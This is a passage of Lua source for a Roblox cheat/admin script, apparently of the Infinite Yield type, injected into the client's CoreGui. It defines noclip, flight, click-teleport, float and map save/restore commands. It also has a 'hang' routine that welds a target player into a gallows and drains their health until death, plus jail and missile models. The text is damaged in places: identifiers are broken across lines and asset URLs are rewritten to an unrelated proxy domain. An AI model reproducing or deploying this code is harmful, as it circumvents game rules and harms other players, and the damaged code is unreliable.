Part4.Anchored = true
Part4.Size = Vector3.new(1, 0.599999845, 0.599999964)
Part4.CFrame = CFrame.new(0.899998009, 9.09995365, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part4.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part4.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part4.Position = Vector3.new(0.899998009, 9.09995365, 12.6999884)
Part4.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part5.Name = "main"
Part5.Parent = Model0
Part5.BrickColor = BrickColor.new("Bright blue")
Part5.Transparency = 1
Part5.Rotation = Vector3.new(0, -90, 0)
Part5.Anchored = true
Part5.CanCollide = false
Part5.FormFactor = Enum.FormFactor.Symmetric
Part5.Size = Vector3.new(2, 2, 1)
Part5.CFrame = CFrame.new(1.98998594, 6.33001804, 12.7000237, 0, 0, -1, 0, 1, 0, 1,
0, 0)
Part5.BottomSurface = Enum.SurfaceType.Smooth
Part5.TopSurface = Enum.SurfaceType.Smooth
Part5.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Part5.Position = Vector3.new(1.98998594, 6.33001804, 12.7000237)
Part5.Orientation = Vector3.new(0, -90, 0)
Part5.Color = Color3.new(0.0509804, 0.411765, 0.67451)
Motor6D6.Name = "RootJoint"
Motor6D6.Parent = Part5
Motor6D6.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D6.C1 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Motor6D6.Part0 = Part5
Motor6D6.MaxVelocity = 0.10000000149012
Part7.Parent = Model0
Part7.Material = Enum.Material.SmoothPlastic
Part7.BrickColor = BrickColor.new("Reddish brown")
Part7.Rotation = Vector3.new(90, 75, -180)
Part7.Anchored = true
Part7.Size = Vector3.new(0.200000003, 0.200000003, 0.800000012)
Part7.CFrame = CFrame.new(2.02295995, 7.37058878, 12.1000061, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part7.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part7.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part7.Position = Vector3.new(2.02295995, 7.37058878, 12.1000061)
Part7.Orientation = Vector3.new(15, 90, -90)
Part7.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part8.Parent = Model0
Part8.Material = Enum.Material.Wood
Part8.BrickColor = BrickColor.new("Pine Cone")
Part8.Anchored = true
Part8.Size = Vector3.new(0.200000003, 0.599999785, 0.599999964)
Part8.CFrame = CFrame.new(1.77999604, 9.09992599, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part8.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part8.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part8.Position = Vector3.new(1.77999604, 9.09992599, 12.6999884)
Part8.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part9.Parent = Model0
Part9.Material = Enum.Material.SmoothPlastic
Part9.BrickColor = BrickColor.new("Reddish brown")
Part9.Rotation = Vector3.new(90, 75, -180)
Part9.Anchored = true
Part9.Size = Vector3.new(0.200000003, 0.200000003, 0.800000012)
Part9.CFrame = CFrame.new(2.02295995, 7.37058878, 13.299984, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part9.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part9.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part9.Position = Vector3.new(2.02295995, 7.37058878, 13.299984)
Part9.Orientation = Vector3.new(15, 90, -90)
Part9.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part10.Parent = Model0
Part10.Material = Enum.Material.SmoothPlastic
Part10.BrickColor = BrickColor.new("Reddish brown")
Part10.Anchored = true
Part10.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part10.CFrame = CFrame.new(1.539994, 9.09992599, 12.8999901, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part10.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part10.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part10.Position = Vector3.new(1.539994, 9.09992599, 12.8999901)
Part10.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part11.Parent = Model0
Part11.Material = Enum.Material.SmoothPlastic
Part11.BrickColor = BrickColor.new("Reddish brown")
Part11.Anchored = true
Part11.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part11.CFrame = CFrame.new(1.539994, 8.09998417, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part11.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part11.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part11.Position = Vector3.new(1.539994, 8.09998417, 12.6999884)
Part11.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part12.Parent = Model0
Part12.Material = Enum.Material.SmoothPlastic
Part12.BrickColor = BrickColor.new("Reddish brown")
Part12.Rotation = Vector3.new(90, 75, -180)
Part12.Anchored = true
Part12.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part12.CFrame = CFrame.new(2.50592208, 7.24118423, 12.6999884, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part12.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part12.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part12.Position = Vector3.new(2.50592208, 7.24118423, 12.6999884)
Part12.Orientation = Vector3.new(15, 90, -90)
Part12.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part13.Parent = Model0
Part13.Material = Enum.Material.SmoothPlastic
Part13.BrickColor = BrickColor.new("Reddish brown")
Part13.Anchored = true
Part13.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part13.CFrame = CFrame.new(1.539994, 9.09992599, 12.4999962, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part13.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part13.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part13.Position = Vector3.new(1.539994, 9.09992599, 12.4999962)
Part13.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part14.Parent = Model0
Part14.Material = Enum.Material.SmoothPlastic
Part14.BrickColor = BrickColor.new("Reddish brown")
Part14.Rotation = Vector3.new(90, 75, -180)
Part14.Anchored = true
Part14.Size = Vector3.new(0.200000003, 1.4000001, 0.200000003)
Part14.CFrame = CFrame.new(1.539994, 7.49999714, 12.6999884, -0.258818984, 0,
0.965925872, -0.965925872, 0, -0.258818984, 0, -1, 0)
Part14.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part14.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part14.Position = Vector3.new(1.539994, 7.49999714, 12.6999884)
Part14.Orientation = Vector3.new(15, 90, -90)
Part14.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part15.Parent = Model0
Part15.Material = Enum.Material.SmoothPlastic
Part15.BrickColor = BrickColor.new("Reddish brown")
Part15.Anchored = true
Part15.Size = Vector3.new(0.200000003, 0.200000003, 0.600000024)
Part15.CFrame = CFrame.new(1.539994, 8.89993, 12.6999884, 1, 0, 0, 0, 1, 0, 0, 0,
1)
Part15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part15.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part15.Position = Vector3.new(1.539994, 8.89993, 12.6999884)
Part15.Color = Color3.new(0.411765, 0.25098, 0.156863)
for i,v in pairs(mas:GetChildren()) do
v.Parent = workspace
pcall(function() v:MakeJoints() end)
end
mas:Destroy()
for i,v in pairs(cors) do
spawn(function()
pcall(v)
end)
end
hang = Model0
hang.Parent = plr
hang:MoveTo(plr.Torso.Position-Vector3.new(0,0,5))
pcall(function()
plr.HumanoidRootPart.CFrame = hang.main.CFrame
function weld(p, cf)
local weld1 = Instance.new("Weld")
weld1.Part0 = p
weld1.Part1 = plr.Torso
weld1.C0 = CFrame.new()
weld1.C1 = cf
weld1.Parent = p
end
weld(plr["Right Arm"], CFrame.new(0.8,0.3,-0.6) *
CFrame.Angles(0, 0.5, 4))
weld(plr["Left Arm"], CFrame.new(-0.8,0.3,-0.6) *
CFrame.Angles(0, -0.5, -4))
spawn(function()
repeat
wait(0.1)
plr.Humanoid.Health=plr.Humanoid.Health-0.6
until (not hang) or (not hang.Parent) or (not v) or (not
plr) or (not plr:FindFirstChild('Head')) or plr.Humanoid.Health<=0
plr:BreakJoints()
end)
end)
end
end)

addcmd('fix', 'restores lighting and what not',{},


function(args, speaker)
LightingService.Ambient = origsettings.abt
LightingService.OutdoorAmbient = origsettings.oabt
LightingService.Brightness = origsettings.brt
LightingService.TimeOfDay = origsettings.time
LightingService.FogColor = origsettings.fclr
LightingService.FogEnd = origsettings.fe
LightingService.FogStart = origsettings.fs
playinggif = false
workspace.Gravity = 200
local function dels(instance) for i,v in pairs(instance:GetChildren())do if
v:IsA'Sound'then v:Destroy()end dels(v) end end dels(workspace)
for i,v in pairs(LightingService:GetChildren()) do if v:IsA('Sky') then v:Destroy()
end end
for i,v in pairs(game:GetService("Lighting"):GetChildren()) do
if v:IsA("PostEffect") then v:Destroy() end end
for i,v in pairs(workspace.Terrain:GetChildren()) do v:Destroy() Notify('Reset')
end end)

Floating = false

addcmd('float', 'makes player float',{},


function(args,speaker)
Floating = true
local players = getPlayer(args[1], speaker)
for _,v in pairs(players) do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and not pchar:FindFirstChild("Float") then
spawn(function()
local float = DATA.Float:Clone()
float.Parent = pchar
float.CFrame = pchar.HumanoidRootPart.CFrame *
CFrame.new(0,-3.5,0)
spawn(function()
while wait(0.1) do
if pchar:FindFirstChild("Float") then
float.CFrame =
pchar.HumanoidRootPart.CFrame * CFrame.new(0,-3.5,0)
else
break
end
end
end)
end)
end
end
end)

addcmd('unfloat','disables floating',{},
function(args, speaker)
Floating = false
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Float") then
pchar.Float:Destroy()
end
end
end)

runningnoclip = false
Clip = true
addcmd('noclip','noclip',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify('Noclip enabled')
Clip = false
if LP.Character:FindFirstChild('Torso') then
wait(0.1)
if runningnoclip == false then runningnoclip = true
game:GetService('RunService').Stepped:connect(function ()
if Clip == false and LP.Character ~= nil then
for _, child in pairs( LP.Character:GetDescendants()) do
if child.ClassName == 'Part' and child.CanCollide == true then
child.CanCollide = false
end end end end) end
else
r15noclip = true
end
end
end)

addcmd('clip','clip',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify('Noclip disabled')
Clip = true
r15noclip = false
wait(0.1)
if LP.Character ~= nil then
LP.Character.Torso.CanCollide = true
LP.Character.Head.CanCollide = true
end end end)

addcmd('prefix','changes prefix',{},
function(args, speaker)
cmdprefix = args[1]
Notify('Set prefix to "' .. args[1] .. '"')
updatefile()
end)

logsopen = false
addcmd('logs','shows logs',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if logsopen == false then logsopen = true
logdrag:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true,
nil)
end
end
end)

local Saved = {}

RestorePoint = function()
Saved = {}
for i, v in pairs(game:GetService("Workspace"):GetDescendants()) do
v.Archivable = true;
end
for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
if not v:IsA("Terrain") and not v:IsA("Camera") then
if not game:GetService("Players"):FindFirstChild(v.Name) then
table.insert(Saved, v:Clone());
end
elseif v:IsA("Terrain") then
Saved.Terrain =
game:GetService("Workspace").Terrain:CopyRegion(game:GetService("Workspace").Terrai
n.MaxExtents);
end
end
return Saved;
end

InsertPoint = function()
if #Saved == 0 and not Saved.Terrain then
return false;
end
for i, v in pairs(game:GetService("Workspace"):GetChildren()) do
if not v:IsA("Camera") and not v:IsA("Terrain") then
if not game:GetService("Players"):FindFirstChild(v.Name) then
pcall(function()
v:Destroy()
end)
end
elseif v:IsA("Terrain") then
v:Clear()
end
end
for i, v in ipairs(Saved) do
v:Clone().Parent = workspace;
end
game:GetService("Workspace").Terrain:PasteRegion(Saved.Terrain,
game:GetService("Workspace").Terrain.MaxExtents.Min, true);
end

addcmd('savemap','saves current map',{'smap'},


function(args, speaker)
RestorePoint()
Notify('Saved current map')
end)

addcmd('restoremap','saves current map',{'rmap'},


function(args, speaker)
InsertPoint()
Notify('Loaded last saved map')
end)

addcmd('respawn','respawns',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
respawn(gPlayers[v])
end
end)

addcmd('version','shows version',{''},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
Notify("Version is " .. Version)
end
end)
local CTPenabled = false
Mouse.KeyDown:connect(function (Key)
if Key:byte() == 29 then
if FLYING == false then
execCmd("fly me", Player)
elseif FLYING == true then
execCmd("unfly me", Player)
end
end
if Key:byte() == 30 then
if Clip == true then
execCmd("noclip", Player)
elseif Clip == false then
execCmd("clip", Player)
end
end
Key = Key:lower()
if Key:byte() == 27 then
CTPenabled = true
end
end)
Mouse.KeyUp:connect(function(Key)
Key = Key:lower()
if Key:byte() == 27 then
CTPenabled = false
end
end)
Mouse.Button1Down:connect(function()
local charx = gPlayers.LocalPlayer.Character
if charx and CTPenabled == true then
charx.HumanoidRootPart.CFrame = Mouse.Hit + Vector3.new(0,7,0)
end
end)

CMDbar = Instance.new('ScreenGui', game.CoreGui)


CMDbar.Name = 'GUI'
CMDbar.DisplayOrder = 2
cont = Instance.new("Frame")
cmdBAR = Instance.new('TextBox', cont)
cont.Name = "cont"
cont.BackgroundTransparency = 1
cont.Position = UDim2.new(1, -265, 0, -75)
cont.Size = UDim2.new(0, 270, 0, 45)
cont.Parent = CMDbar
cont.ZIndex = 5
cont.Active = true
dragGUI(cont)
cmdBAR.Name = "CMDbar"
cmdBAR.Parent = cont
cmdBAR.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
cmdBAR.BackgroundTransparency = 0.7
cmdBAR.BorderColor3 = Color3.new(0.972549, 0.972549, 0.972549)
cmdBAR.BorderSizePixel = 0
cmdBAR.Position = UDim2.new(0, 10, 1, -35)
cmdBAR.Size = UDim2.new(0, 250, 0, 25)
cmdBAR.Font = Enum.Font.SourceSans
cmdBAR.FontSize = Enum.FontSize.Size18
cmdBAR.Text = 'Press ' ..cmdbarbind.. ' to focus the cmd bar'
cmdBAR.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
cmdBAR.ZIndex = 5
DATA = Instance.new('Folder', game.ContextActionService)
DATA.Name = 'Data'
Paper = Instance.new('BlockMesh', DATA)
Paper.Name = 'Paper'
Paper.Scale = Vector3.new(1,1,0.1)
ayylmao = Instance.new('Hat', DATA)
ayylmao.Name = 'ayylmao'
ayyHandle = Instance.new('Part', ayylmao)
ayyHandle.Name = 'Handle'
ayyHandle.Size = Vector3.new(2,2.4,2)
ayyHandle.FormFactor = 'Plate'
ayyMesh = Instance.new('SpecialMesh', ayyHandle)
ayyMesh.Scale = Vector3.new(1,1.02,1)
ayyMesh.MeshType = 'FileMesh'
ayyMesh.MeshId = 'http://www.roblox.com/asset/?id=13827689'
ayyMesh.TextureId = 'http://www.roblox.com/asset/?id=13827796'
Float = Instance.new('Part', DATA)
Float.Name = 'Float'
Float.Transparency = 1
Float.Size = Vector3.new(6,1,6)
Float.Anchored = true
function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end
missile = Instance.new('Part', DATA)
missile.Name = 'IY_missile'
missile.CanCollide = false
missile.Size = Vector3.new(2, 5, 2)
Instance.new('CylinderMesh', missile)
local F = Instance.new('Part', missile)
F.BrickColor = BrickColor.new('Black')
F.CanCollide = false
F.Size = Vector3.new(2, 0.2, 2)
Instance.new('CylinderMesh', F)
local fire = Instance.new('Fire', F)
fire.Size = "15"
fire.Heat = "25"
local head = Instance.new('Part', missile)
head.CanCollide = false
head.Shape = 'Ball'
head.Size = Vector3.new(2, 2, 2)
head.TopSurface = 'Smooth'
head.BottomSurface = 'Smooth'
local BF = Instance.new('BodyForce', missile)
BF.Name = 'force'
BF.Force = Vector3.new(0, 0, 0)
local W1 = Instance.new('Weld', missile)
W1.Part0 = missile
W1.Part1 = F
W1.C1 = CFrame.new(0, 2.6, 0)
local W2 = Instance.new('Weld', missile)
W2.Part0 = missile
W2.Part1 = head
W2.C1 = CFrame.new(0, -2.6, 0)
jail = Instance.new('Model', DATA)
jail.Name = 'JAIL'
local B = Instance.new('Part', jail)
B.Name = 'BUTTOM'
B.BrickColor = BrickColor.new('Black')
B.Transparency = 0.5
B.Anchored = true
B.Locked = true
B.Size = Vector3.new(6, 1, 6)
B.TopSurface = 'Smooth'
B.BottomSurface = 'Smooth'
local M = Instance.new('Part', jail)
M.Name = 'MAIN'
M.BrickColor = BrickColor.new('Black')
M.Transparency = 1
M.Anchored = true
M.CanCollide = false
M.Locked = true
M.Position = B.Position + Vector3.new(0, 3, 0)
M.Size = Vector3.new(1, 1, 1)
local P1 = Instance.new('Part', jail)
P1.BrickColor = BrickColor.new('Black')
P1.Transparency = 0.5
P1.Position = B.Position + Vector3.new(0, 3.5, -2.5)
P1.Rotation = Vector3.new(0, 90, 0)
P1.Anchored = true
P1.Locked = true
P1.Size = Vector3.new(1, 6, 6)
local P2 = Instance.new('Part', jail)
P2.BrickColor = BrickColor.new('Black')
P2.Transparency = 0.5
P2.Position = B.Position + Vector3.new(-2.5, 3.5, 0)
P2.Rotation = Vector3.new(-180, 0, -180)
P2.Anchored = true
P2.Locked = true
P2.Size = Vector3.new(1, 6, 4)
local P3 = Instance.new('Part', jail)
P3.BrickColor = BrickColor.new('Black')
P3.Transparency = 0.5
P3.Position = B.Position + Vector3.new(2.5, 3.5, 0)
P3.Rotation = Vector3.new(0, 0, 0)
P3.Anchored = true
P3.Locked = true
P3.Size = Vector3.new(1, 6, 4)
local P4 = Instance.new('Part', jail)
P4.BrickColor = BrickColor.new('Black')
P4.Transparency = 0.5
P4.Position = B.Position + Vector3.new(0, 3.5, 2.5)
P4.Rotation = Vector3.new(0, 90, 0)
P4.Anchored = true
P4.Locked = true
P4.Size = Vector3.new(1, 6, 6)
local TOP = Instance.new('Part', jail)
TOP.BrickColor = BrickColor.new('Black')
TOP.Transparency = 0.5
TOP.Position = B.Position + Vector3.new(0, 7, 0)
TOP.Rotation = Vector3.new(0, 0, 0)
TOP.Anchored = true
TOP.Locked = true
TOP.Size = Vector3.new(6, 1, 6)
TOP.TopSurface = 'Smooth'
TOP.BottomSurface = 'Smooth'
cp = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local holder = Instance.new("Frame")
bar = Instance.new("Frame")
local cmds = Instance.new("TextButton")
local settings = Instance.new("TextButton")
local Hide = Instance.new("TextButton")
local Exit = Instance.new("TextButton")
FeedbackMain = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local checkboxText = Instance.new("TextLabel")
local CheckBox = Instance.new("ImageButton")
local bindInput = Instance.new("TextButton")
Input = Instance.new("TextBox")
local preText = Instance.new("TextLabel")
local setpre = Instance.new("TextButton")
local everyone = Instance.new("TextButton")
local JLtext = Instance.new("TextLabel")
local CheckBoxJL = Instance.new("ImageButton")
local friends = Instance.new("TextButton")
local InputBox = Instance.new("TextButton")
Input_2 = Instance.new("TextBox")
local MTText = Instance.new("TextLabel")
local setMT = Instance.new("TextButton")
local CheckBoxS = Instance.new("ImageButton")
local slocktext = Instance.new("TextLabel")
local barBind = Instance.new("TextLabel")
local setBind = Instance.new("TextButton")
local MtimeInput = Instance.new("TextButton")
Input_3 = Instance.new("TextBox")
local size = Instance.new("Frame")
MAIN = Instance.new("Frame")
local Title_2 = Instance.new("TextLabel")
local Example = Instance.new("TextLabel")
local Search = Instance.new("TextBox")
local CMDss = Instance.new("ScrollingFrame")
local uicolortext = Instance.new("TextLabel")
local openC = Instance.new("TextButton")
cp.Name = "cp"
cp.Parent = DATA
Frame.Parent = cp
Frame.Active = true
Frame.BackgroundColor3 = Color3.new(1, 1, 1)
Frame.BackgroundTransparency = 1
Frame.Position = UDim2.new(1, -300, 1, -330)
Frame.Size = UDim2.new(0, 300, 0, 40)
holder.Name = "holder"
holder.Parent = Frame
holder.BackgroundColor3 = Color3.new(1, 1, 1)
holder.BackgroundTransparency = 1
holder.BorderSizePixel = 2
holder.ClipsDescendants = true
holder.Size = UDim2.new(0, 300, 0, 330)
holder.ZIndex = 2
bar.Name = "bar"
bar.Parent = holder
bar.BackgroundColor3 = maincolor
bar.BackgroundTransparency = 0.30000001192093
bar.BorderColor3 = Color3.new(0, 0, 0)
bar.BorderSizePixel = 0
bar.Position = UDim2.new(1, -295, 1, -330)
bar.Size = UDim2.new(0, 290, 0, 26)
cmds.Name = "cmds"
cmds.Parent = bar
cmds.BackgroundColor3 = Color3.new(0, 0, 0)
cmds.BackgroundTransparency = 0.80000001192093
cmds.BorderColor3 = Color3.new(1, 1, 1)
cmds.Position = UDim2.new(0, 3, 0, 3)
cmds.Size = UDim2.new(0, 70, 0, 20)
cmds.Font = Enum.Font.SourceSans
cmds.FontSize = Enum.FontSize.Size14
cmds.Text = "Commands"
cmds.TextColor3 = Color3.new(1, 1, 1)
settings.Name = "settings"
settings.Parent = bar
settings.BackgroundColor3 = Color3.new(0, 0, 0)
settings.BackgroundTransparency = 0.80000001192093
settings.BorderColor3 = Color3.new(1, 1, 1)
settings.Position = UDim2.new(0, 77, 0, 3)
settings.Size = UDim2.new(0, 70, 0, 20)
settings.Font = Enum.Font.SourceSans
settings.FontSize = Enum.FontSize.Size14
settings.Text = "Settings"
settings.TextColor3 = Color3.new(1, 1, 1)
Hide.Name = "Hide"
Hide.Parent = bar
Hide.BackgroundColor3 = Color3.new(1, 1, 1)
Hide.BackgroundTransparency = 0.30000001192093
Hide.BorderColor3 = Color3.new(1, 1, 1)
Hide.BorderSizePixel = 0
Hide.Position = UDim2.new(0, 243, 0, 3)
Hide.Size = UDim2.new(0, 20, 0, 20)
Hide.FontSize = Enum.FontSize.Size14
Hide.Text = ""
Exit.Name = "Exit"
Exit.Parent = bar
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
FeedbackMain.Name = "FeedbackMain"
FeedbackMain.Parent = holder
FeedbackMain.BackgroundColor3 = maincolor
FeedbackMain.BackgroundTransparency = 0.5
FeedbackMain.BorderColor3 = Color3.new(0, 0, 0)
FeedbackMain.BorderSizePixel = 0
FeedbackMain.Position = UDim2.new(1.01999998, -301, 1.01800001, -310)
FeedbackMain.Size = UDim2.new(0, 290, 0, 300)
Title.Name = "Title"
Title.Parent = FeedbackMain
Title.BackgroundColor3 = Color3.new(1, 1, 1)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24
Title.Text = "Settings"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
Title.TextStrokeTransparency = 0
checkboxText.Name = "checkboxText"
checkboxText.Parent = FeedbackMain
checkboxText.BackgroundColor3 = Color3.new(1, 1, 1)
checkboxText.BackgroundTransparency = 1
checkboxText.Position = UDim2.new(0, 0, 0, 60)
checkboxText.Size = UDim2.new(1, 0, 0, 30)
checkboxText.Font = Enum.Font.SourceSansBold
checkboxText.FontSize = Enum.FontSize.Size18
checkboxText.Text = " Suggestions"
checkboxText.TextColor3 = Color3.new(0.976471, 0.976471, 0.976471)
checkboxText.TextStrokeTransparency = 0
checkboxText.TextXAlignment = Enum.TextXAlignment.Left
CheckBox.Name = "CheckBox"
CheckBox.Parent = FeedbackMain
CheckBox.BackgroundTransparency = 1
CheckBox.Position = UDim2.new(0, 240, 0, 60)
CheckBox.Size = UDim2.new(0, 30, 0, 30)
CheckBox.Image = "http://www.roblox.com/asset/?id=65492641"
bindInput.Name = "bindInput"
bindInput.Parent = FeedbackMain
bindInput.BackgroundColor3 = Color3.new(1, 1, 1)
bindInput.Position = UDim2.new(0, 187, 0, 260)
bindInput.Size = UDim2.new(0, 30, 0, 30)
bindInput.AutoButtonColor = false
bindInput.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
bindInput.Font = Enum.Font.SourceSans
bindInput.FontSize = Enum.FontSize.Size14
bindInput.Text = ""
Input.Name = "Input"
Input.Parent = bindInput
Input.BackgroundColor3 = Color3.new(1, 1, 1)
Input.BackgroundTransparency = 1
Input.Position = UDim2.new(0, -8, 0, -8)
Input.Size = UDim2.new(0, 20, 0, 20)
Input.Font = Enum.Font.SourceSansBold
Input.FontSize = Enum.FontSize.Size18
Input.MultiLine = true
Input.Text = ";"
Input.TextColor3 = Color3.new(0.235294, 0.235294, 0.235294)
Input.TextWrapped = true
Input.TextYAlignment = Enum.TextYAlignment.Top
preText.Name = "preText"
preText.Parent = FeedbackMain
preText.BackgroundColor3 = Color3.new(1, 1, 1)
preText.BackgroundTransparency = 1
preText.Position = UDim2.new(0, 0, 0, 140)
preText.Size = UDim2.new(1, 0, 0, 30)
preText.Font = Enum.Font.SourceSansBold
preText.FontSize = Enum.FontSize.Size18
preText.Text = " Prefix"
preText.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392)
preText.TextStrokeTransparency = 0
preText.TextXAlignment = Enum.TextXAlignment.Left
setpre.Name = "setpre"
setpre.Parent = FeedbackMain
setpre.BackgroundColor3 = Color3.new(1, 1, 1)
setpre.BorderSizePixel = 5
setpre.Position = UDim2.new(0, 235, 0, 142)
setpre.Size = UDim2.new(0, 40, 0, 25)
setpre.Style = Enum.ButtonStyle.RobloxRoundDropdownButton
setpre.Font = Enum.Font.ArialBold
setpre.FontSize = Enum.FontSize.Size18
setpre.Text = "Set"
everyone.Name = "everyone"
everyone.Parent = FeedbackMain
everyone.BackgroundColor3 = Color3.new(0, 0, 0)
everyone.BackgroundTransparency = 0.80000001192093
everyone.BorderColor3 = Color3.new(0, 0, 0)
everyone.Position = UDim2.new(0, 230, 0, 237)
everyone.Size = UDim2.new(0, 50, 0, 20)
